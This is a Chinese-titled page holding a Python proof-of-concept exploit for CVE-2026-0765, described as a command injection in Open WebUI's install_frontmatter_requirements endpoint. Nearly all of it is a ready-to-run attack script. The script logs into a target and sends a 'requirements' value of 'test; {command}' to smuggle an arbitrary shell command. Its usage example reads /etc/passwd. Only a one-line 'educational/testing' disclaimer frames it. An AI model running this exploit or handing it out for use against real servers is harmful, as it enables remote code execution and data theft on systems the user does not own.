CVE-2026-0765 Open WebUI install_frontmatter_requirements命令注入远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2026-0765 PoC - Open WebUI Command Injection Note: This is for educational/testing purposes only """ import requests import json import sys def exploit_cve_2026_0765(target_url, username, password, command): """ Exploit for Open WebUI command injection in install_frontmatter_requirements Args: target_url: Base URL of Open WebUI instance username: Valid username for authentication password: User password command: Command to execute on the target system """ session = requests.Session() # Step 1: Authenticate to get valid session login_url = f"{target_url}/api/v1/auth/login" login_data = { "username": username, "password": password } try: response = session.post(login_url, json=login_data, timeout=10) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return False token = response.json().get("access_token") print(f"[+] Successfully authenticated") except Exception as e: print(f"[-] Authentication error: {e}") return False # Step 2: Inject malicious command via install_frontmatter_requirements exploit_url = f"{target_url}/api/v1/frontend/function/install_frontmatter_requirements" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Payload: Inject command using command separator (; or &&) payload = f"test; {command}" exploit_data = { "requirements": payload } try: response = session.post(exploit_url, json=exploit_data, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Exploit sent successfully") print(f"[+] Command executed: {command}") return True else: print(f"[-] Exploit failed: {response.status_code}") print(f"[-] Response: {response.text}") return False except Exception as e: print(f"[-] Exploitation error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python3 cve-2026-0765.py <target_url> <username> <password> <command>") print("Example: python3 cve-2026-0765.py http://localhost:3000 admin password 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] exploit_cve_2026_0765(target, user, pwd, cmd)